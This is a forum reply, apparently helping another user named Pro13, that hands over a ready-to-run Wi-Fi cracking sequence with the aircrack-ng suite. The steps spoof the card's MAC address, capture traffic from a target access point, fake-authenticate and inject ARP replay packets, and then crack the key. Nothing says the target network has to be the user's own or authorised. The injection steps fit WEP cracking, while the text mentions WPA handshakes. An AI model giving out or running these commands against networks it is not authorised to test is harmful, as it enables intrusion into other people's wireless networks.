    Pro13 - it appears your new card is working properly. I think you need to study and learn how the aircrack-ng suite of tools work. I recommend you google aircrack-ng and read the material there.

    Once you get a sense of how the aircrack-ng suite works, you might want to try this aircrack-ng tutorial on capturing WPA handshakes and cracking. The tutorial walks you through, step-by-step the exact commands you need to enter on your system and in your specific wireless environment. Jot down the commands and then practice them without running the tutorial script.

    Study, try to answer your own questions, experiment and have fun.

    I'll give you a small hint: you need to use the mon0 interface you created for any further experiments. airodump-ng mon0 is a fun command to try, as it lists all the wifi APs in the neighbourhood, and you can see the channel and BSSID from your accespoint.

    Oh geezzz ... what the hell, ok here ya go:

    airmon-ng stop wlan0
    macchanger -a wlan0
    airmon-ng start wlan0

    ifconfig mon0 down
    macchanger --mac 00:11:22:33:44:55 mon0
    ifconfig mon0 up

    airodump-ng mon0

    airodump-ng -c 6 -w test --bssid {AP BSSID} mon0

    aireplay-ng -1 0 -a {AP BSSID} -h 00:11:22:33:44:55 -e linksys mon0

    aireplay-ng -3 -b {AP BSSID} -h 00:11:22:33:44:55 mon0

    aircrack-ng -b {AP BSSID} test-*.cap

    All of this is easily scripted, & on my site
